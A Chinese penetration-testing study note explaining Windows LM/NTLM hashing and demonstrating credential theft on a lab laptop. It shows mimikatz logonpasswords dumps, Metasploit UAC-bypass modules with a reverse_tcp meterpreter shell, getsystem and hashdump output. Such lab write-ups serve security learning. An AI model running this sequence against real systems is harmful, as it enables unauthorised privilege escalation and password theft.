渗透第一次

windows用户密码破解

一、hash简介

Hash主要用于信息安全领域中加密算法,渗透测试中获取目标系统的明文或Hash往往是整个渗透测试过程中重要的一环。在Windows系统中本机用户的密码Hash是放在本地的SAM文件里面,域内用户的密码Hash是存在域控的NTDS.DIT文件里面。

Windows使用使用两种方法对用户密码进行哈希处理:

1、LAN Manager(LM) 2、NTLAN Manager(NT)

其中,NTLM-HASH比LM-HASH的安全性要更高 自Windows Vista和Windows Server 2008开始,Windows取消LM hash。 当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码

二、老版本Windows系统下的hash密码格式

用户名称:RID:LM-HASH值:NT-HASH值 例如: Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::

用户名称为:Administrator RID为:500 LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE NT-HASH值为:32ED87BDB5FDC5E9CBA88547376818D4 如果已经得到hash值,那么可以通过在线网站去破解:md5在线解密破解,md5解密加密 (cmd5.com)

三.本机用mimikatz抓取

windows sam文件 windows的用户hash一般是存储在C:\windows\system32\config\SAM文件中(域控存在NTDS.dit文件中),只不过,就算是管理员权限,也是无法正常打开并读取文件内容,因此一般无法直接通过SAM文件获取用户hash。

管理员身份运行mimikatz.exe

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 2577682 (00000000:00275512)                                                                     Session           : Interactive from 2                                                                                  User Name         : Administrator                                                                            Domain            : LAPTOP-PRLUQ9C2                                                                          Logon Server      : LAPTOP-PRLUQ9C2                                                                          Logon Time        : 2024/4/20 20:10:35                                                                      SID               : S-1-5-21-2743857286-2911329656-2530686096-500                                            msv :                                                                                                                    [00000003] Primary                                                                        * Username : Administrator                                                                                  * Domain   : LAPTOP-PRLUQ9C2                                                                                * NTLM     : 31d6cfe0d16ae931b73c59d7e0c089c0                                                                * SHA1     : da39a3ee5e6b4b0d3255bfef95601890afd80709                                                        * DPAPI    : da39a3ee5e6b4b0d3255bfef95601890                                                                          tspkg :                                                                                                                 wdigest :                                                                              * Username : Administrator                                                                                  * Domain   : LAPTOP-PRLUQ9C2                                                                                * Password : (null)                                                                                                    kerberos :                                                                                        * Username : Administrator                                                                                  * Domain   : LAPTOP-PRLUQ9C2                                                                                * Password : (null)                                                                                                    ssp :                                                                                                                   credman :                                                                                                               cloudap : 

Authentication Id : 0 ; 258127 (00000000:0003f04f)                                                                  Session           : Interactive from 1                                                                      User Name         : gchoud                                                                                  Domain            : LAPTOP-PRLUQ9C2                                                                          Logon Server      : LAPTOP-PRLUQ9C2                                                                          Logon Time        : 2024/4/20 20:10:05                                                                      SID               : S-1-5-21-2743857286-2911329656-2530686096-1001                                             msv :                                                                                                        [00000003] Primary                                                                                      * Username : gchoud                                                                                          * Domain   : .                                                                                              * NTLM     : aeeea7a0d267d39a9c41e7ceae8af007                                                                * SHA1     : 296e5562e30d3a370e09f6522d286c6474ed49af                                                        * DPAPI    : 296e5562e30d3a370e09f6522d286c64                                                                      tspkg :                                                                                                      wdigest :                                                                                              * Username : gchoud                                                                                          * Domain   : LAPTOP-PRLUQ9C2                                                                                * Password : (null)                                                                                                 kerberos :                                                                                            * Username : gchoud                                                                                          * Domain   : LAPTOP-PRLUQ9C2                                                                                * Password : (null)                                                                                               ssp :                                                                                                       credman :                                                                                                   [00000000]                                                                                              * Username : localKey                                                                                        * Domain   : Termius/localKey                                                                                * Password : 75 2b 2f 6c 48 4c 53 4a 42 67 4d 71 79 4b 44 4c 31 58 5a 37 4e 54 67 76 62 67 39 4c 2f 73 6a 62 2f 74 6f 65 56 6d 70 63 72 71 55 3d 00 00 00 00   

系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,所以明文密码为null

四,LM,NTLM算法

Windows系统使用两种方法对用户的密码进行哈希处理,它们分别是LAN Manager(LM)哈希和NT LAN Manager(NTLM)哈希。所谓哈希(hash),就是使用一种加密函数进行计算后的结果。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。现在已经有了更新的NTLMv2以及Kerberos验证体系。Windows加密过的密码口令,我们称之为hash,Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。

LM型哈希

LAN Manager(LM)哈希是Windows系统所用的第一种密码哈希算法。它只有唯一一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现,NTLM哈希用于Windows 2000、XP、Vista和Windows 7系统中。新版操作系统因兼容缘故仍然支持LM哈希算法。但是在Windows Vista和Windows 7系统中,这种哈希算法是默认关闭的。

对一个密码进行LM哈希处理分以下六步:

  1. 用户的密码字符串被全部转换成大写字母形式;

  2. 给密码字符串增加空字符,直到使其包含有14个字符为止;

  3. “新”得到的密码字符串被分成两半,每一半分别包含7个字符;

  4. 每一半字符串都各自添加一个校验位,分别用于创建两个64位的DES加密密钥;

  5. 所生成的每一个DES密钥都被用于加密一个固定的ASCII字符串KGS!@#$%,得到两个长度为8字节的密文;

  6. 两个8字节的密文合并起来,形成1个16字节的字符串。至此,LM哈希结束。

举例来说,根据上面的步骤,密码“PassWord123”的LM哈希处理过程如下:

  1. 全部转换为大写字母形式:PASSWORD123;

  2. 补充空字符使其包含有14个字符:PASSWORD123000;

  3. 从中间一分为二,分别得到PASSWOR和D123000;

  4. 分别添加校验位,得到PASSWOR1和D1230001,用于生成DES密钥;

  5. 用生成的DES密钥加密一个给定的字符串,得到E52CAC67419A9A22和155195140A852F61;

  6. 合并得到E52CAC67419A9A22155195140A852F61

NTLM型哈希

NT LAN Manager(NTLM)哈希算法是微软认可的另一种算法。NTLM哈希创建起来实际上更为简单。它以MD4哈希算法为基础、通过一系列数学运算来创建哈希值。在密码字符串转换成Unicode编码后,MD4算法开始生成NT哈希。假设明文口令是“123456”,首先转换成Unicode字符串,与LM Hash算法不同,这次不需要添加0x00补足14字节"123456" -> 310032003300340035003600

从ASCII串转换成Unicode串时,使用little-endian序,微软在设计整个SMB协议时就没考虑过big-endian序,ntoh()、hton()函数不宜用在SMB报文解码中。0x80之前的标准ASCII码转换成Unicode码,就是简单地从0x??变成0x00??。此类标准ASCII串按little-endian序转换成Unicode串,就是简单地在原有每个字节之后添加0x00。对所获取的Unicode串进行标准MD4单向哈希,无论数据源有多少字节,MD4固定产生128-bit的哈希值16字节310032003300340035003600 -进行标准MD4单向哈希->32ED87BDB5FDC5E9CBA88547376818D4就得到了最后的NTLM Hash NTLM Hash: 32ED87BDB5FDC5E9CBA88547376818D4

与LM Hash算法相比,明文口令大小写敏感,无法根据NTLM Hash判断原始明文口令是否小于8字节,摆脱了魔术字符串"KGS!@#$%"。MD4是真正的单向哈希函数,穷举作为数据源出现的明文,难度较大

相较于DES加密,MD4哈希算法被认为要强壮得多。因为它允许使用更长的密码,允许有大小写的不同,而且也无须把密码分割成更小、更易于被破解的块。

渗透本机

bypassUAC UAC:用户帐户控制(User Account Control),是windows操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改。

getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权。

search bypassuac #查找对应模块
use exploit/windows/local/bypassuac_injection_winsxs
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.196.144
set session 1
set target 1
exploit
​
[*] Started reverse TCP handler on 192.168.196.144:4444 
[+] Windows 10+ Build 19045 may be vulnerable.
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Creating temporary folders...
[*] Uploading the Payload DLL to the filesystem...
[*] Spawning process with Windows Publisher Certificate, to inject into...
[+] Successfully injected payload in to process: 11048
[*] Exploit completed, but no session was created.
​
use use exploit/windows/local/bypassuac_sdclt
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.196.144
set session 1
exploit
[*] Started reverse TCP handler on 192.168.196.144:4444 
[*] UAC is Enabled, checking level...
[+] Part of Administrators group! Continuing...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[!] This exploit requires manual cleanup of 'C:\Users\gchoud\AppData\Local\Temp\jzUnERANDSyZ.exe'
[*] Please wait for session and cleanup....
[*] Sending stage (201798 bytes) to 192.168.196.1
[*] Meterpreter session 2 opened (192.168.196.144:4444 -> 192.168.196.1:64625) at 2024-04-20 21:50:38 -0400
[*] Registry Changes Removed

migrate+PID迁移进程(当我们攻击一个系统是,常常是对像是IE之类的服务漏洞进行利用的,可是不免有对方关闭IE的情况,那么我们的meterpreter会话将会关闭,从而导致与目标系统失去连接,所以我们可以使用迁移进程后的攻击模块,将sessions迁移到内存空间中的其他稳定的、不会被关闭的服务进程中,以维持稳定的系统控制),从列表中看到PID为232的是administrator权限,所以是迁移到administrator的权限,“getsystem –h”升级为权限SYSTEM账户。

meterpreter > getuid
Server username: LAPTOP-PRLUQ9C2\gchoud
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
gchoud:1001:aad3b435b51404eeaad3b435b51404ee:aeeea7a0d267d39a9c41e7ceae8af007:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MSSQLSERVER01:1007:aad3b435b51404eeaad3b435b51404ee:3cfe6ff18e29def407428ac440c9ca71:::

对于LM都是aad3b435b51404eeaad3b435b51404ee的理解

aad3b435b51404eeaad3b435b51404ee:MD5解密后为空字符串

1,Administrator压根就没设置密码,说以为空,且31d6cfe0d16ae931b73c59d7e0c089c0也为空

mimikatz

meterpreter > load kiwi
meterpreter > help kiwi
​
Kiwi Commands
=============
​
    Command       Description
    -------       -----------
    creds_all     Retrieve all credentials (parsed)
    creds_kerber  Retrieve Kerberos creds (parsed)
    os
    creds_livess  Retrieve Live SSP creds
    p
    creds_msv     Retrieve LM/NTLM creds (parsed)
    creds_ssp     Retrieve SSP creds
    creds_tspkg   Retrieve TsPkg creds (parsed)
    creds_wdiges  Retrieve WDigest creds (parsed)
    t
    dcsync        Retrieve user account information via DCSync (unparsed)
    dcsync_ntlm   Retrieve user account NTLM hash, SID and RID via DCSync
    golden_ticke  Create a golden kerberos ticket
    t_create
    kerberos_tic  List all kerberos tickets (unparsed)
    ket_list
    kerberos_tic  Purge any in-use kerberos tickets
    ket_purge
    kerberos_tic  Use a kerberos ticket
    ket_use
    kiwi_cmd      Execute an arbitrary mimikatz command (unparsed)
    lsa_dump_sam  Dump LSA SAM (unparsed)
    lsa_dump_sec  Dump LSA secrets (unparsed)
    rets
    password_cha  Change the password/hash of a user
    nge
    wifi_list     List wifi profiles/creds for the current user
    wifi_list_sh  List shared wifi profiles/creds (requires SYSTEM)
    ared
    
meterpreter > lsa_dump_sam
RID  : 000001f4 (500)
User : Administrator
​
RID  : 000001f5 (501)
User : Guest
​
RID  : 000001f7 (503)
User : DefaultAccount
​
RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: a17167aaa8dfa559b0e0645b855b5d8c
  
RID  : 000003e9 (1001)
User : gchoud
  Hash NTLM: aeeea7a0d267d39a9c41e7ceae8af007

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/576340.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2023最新!nginx安装配置保姆级教程

2023最新!nginx安装配置保姆级教程 这篇文章了参考了这位的教程:https://blog.csdn.net/qq_36838700/article/details/129971765 导航 文章目录 2023最新!nginx安装配置保姆级教程一、nginx下载二、编译安装nginx安装pcre安装openssl、zlib、gcc依赖安装nginx 二、拓展 一、n…

01.Scala概述及环境配置

文章目录 [toc] 1.**Scala概述**2.**Scala环境搭建**2.1下载2.2环境变量配置 1.Scala概述 特点: 同样运行在JVM上,可以与现存程序同时运行。可直接使用Java类库。同Java一样静态类型。语法和Java类似,比Java更加简洁(简洁而并不…

Python-100-Days: Day01

Day01 Python简介 1.1989年Guido von Rossum在圣诞节之夜开始着手python语言编译器的编写。 2.1991年2月 Python v1 编译器诞生,使用C实现的,此时可以调用C的库函数。 3.1994年1月,Python v1.0 正式版发布。 4.2000年10月16日&#xff0…

2024软件测试面试题总结

🍅 视频学习:文末有免费的配套视频可观看 🍅 关注公众号【互联网杂货铺】,回复 1 ,免费获取软件测试全套资料,资料在手,涨薪更快 测试技术面试题 1、什么是兼容性测试?兼容性测试侧…

农业-大量数据在数据库中做AVG如何优化

如果是直接查询呢? 设备每个分区3s回传一次数据 一个设备有三个分区 一分钟需要回传 3 * 20 60次 一个小时 回传 60*60 3600次 一天回传 3600 * 24 86400次 我如果想计算以天为单位的气温数据,需要聚合8w条数据 进行优化 一分钟60次&#xff0c…

To String的几个作用

To String的几个作用 一、Object类中toString的作用 1、在主方法中我们可以直接用toString输出对象其中的内容 2、我们需要直接输出对象中所属内容时,直接使用toString方法输出语句,输出内容不友好,不便于阅读 子类: public c…

【快速上手ESP32(基于ESP-IDFVSCode)】11-MQTT

MQTT MQTT(Message Queuing Telemetry Transport,消息队列遥测传输协议)是一种基于发布/订阅模式的轻量级通讯协议,构建于TCP/IP协议之上。它最初由IBM在1999年发布,主要用于在硬件性能受限和网络状况不佳的情况下&…

如何使用 Fly.io 和 Tigris 部署 Next.js 应用

在本教程中,您将学习到应用部署平台 Fly.io 和全球分布式的 S3 兼容对象存储服务 Tigris。 这两个平台密切相关,使它们成为您项目的绝佳选择。您可以从 Fly.io 获得应用部署体验,并从 Tigris 获得对象存储功能。 应用部署相当简单易懂&…

短视频素材去哪里找,而且不带水印的那种?

为了确保视频创作者能够接触到全球范围内的优质资源,下面列出的视频素材网站各具特色,提供从标准视频到高动态范围(HDR)的素材,满足你在不同项目中的需求。 1. 蛙学府 (中国) 提供专业级的视频素材,特别适…

【C++】STL-vector的使用

目录 1、什么是vector? 2、vector的使用 2.1 vector的定义 ​编辑 2.2 遍历修改数据 2.3 迭代器 2.4 vector空间增长问题 2.5 vector的增删查改 3、迭代器失效 3.1 会引起其底层空间改变的操作,都有可能是迭代器失效 3.2 指定位置元素的删除操…

【触摸案例-多点触摸的案例 Objective-C语言】

一、我们来做这个多点触摸的案例 1.首先呢,按着这个option键啊,可以模拟多点触摸, 然后呢,再去怎么着去画圈儿, 它这个里边就会产生一个imageView,跟着你去变,会有这么一个效果, 那么,首先啊,我们新建一个项目, Name:03-多点触摸的案例 1)首先,我们把控制器的v…

dwc3控制器是怎么处理otg

概念 在OTG中,初始主机设备称为A设备,外设称为B设备。可用电缆的连接方式来决定初始角色。两用设备使用新型Mini-AB插座,从而使Mini-A插头、Mini-B插头和Mini-AB插座增添了第5个引脚(ID),以用于识别不同的…

网御星云防火墙策略配置

网御星云防火墙配置 1. 初始设定2. 网络配置3. 安全规则和策略4. 监控和维护零基础入门学习路线视频配套资料&国内外网安书籍、文档网络安全面试题 1. 初始设定 接入网络: 在开始配置之前,确保你的网御星云防火墙正确连接到网络。这通常涉及将WAN接…

基于Python实现的推箱子小游戏

Python贪吃蛇小游戏实现: 推箱子曾经在我们的童年给我们带来了很多乐趣。推箱子这款游戏现在基本上没人玩了,甚至在新一代人的印象中都已毫无记忆了。。。但是,这款游戏可以在一定程度上锻炼自己的编程能力。 运行效果如图所示: 游戏关卡有点…

Ubuntu系统强制用户设置复杂密码

1、安装cracklib模块 安装PAM的cracklib模块,cracklib能提供额外的密码检查能力 sudo apt-get install libpam-cracklib2、可用vim打开配置文件(或其它方式) sudo vim /etc/pam.d/common-password3、设置密码复杂度 在# here are the per…

滚珠丝杆有哪些应用场景?

在传动领域中滚珠丝杆是自动化设备和智能制造设备相结合的关键装置,在精密制造工艺、精密装配作业及现代物流系统等多元领域中,发挥着不可或缺的核心作用。其优点在于快速、高效、准确可靠和稳定。它能够在较小的转矩下产生很大的推力,所以被…

win11 安装qt5.14.2 、qtcreator、vs编译器 。用最小安装进行 c++开发qt界面

系统 :win11 一、安装vs生成工具 ,安装编译器 下载visualstudio tools 生成工具: 安装编译器 和 windows sdk: 安装debug 调试器: 二、Qt5.14.2下载 下载链接: Index of /archive/qt/5.14/5.14.2 安装qt 三、配置QT/…

【多态】有关多继承和菱形继承的多态

博主首页: 有趣的中国人 专栏首页: C进阶 其它专栏: C初阶 | 初阶数据结构 | Linux 博主会持续更新 本篇文章主要讲解 多继承和菱形继承的多态 的相关内容 文章目录 1. 回顾多态底层2. 抽象类2.1 概念2.2 接口继承和实现继承 3. 虚表所在…

文件上传漏洞(upload-labs)

目录 一、文件上传漏洞 1.什么是文件上传漏洞 常见的WebShell 2.文件上传产生漏洞的原因 二、文件上传绕过 (一)客服端绕过-JS验证 1.前端验证 upload-labs第一关 (二)绕过黑名单验证 黑名单验证 1.特殊解析后缀 upl…

Pandas 2.2 中文官方教程和指南(十一·一)

原文:pandas.pydata.org/docs/ PyArrow 功能 原文:pandas.pydata.org/docs/user_guide/pyarrow.html pandas 可以利用PyArrow来扩展功能并改善各种 API 的性能。这包括: 与 NumPy 相比,拥有更广泛的数据类型 对所有数据类型支持缺…
最新文章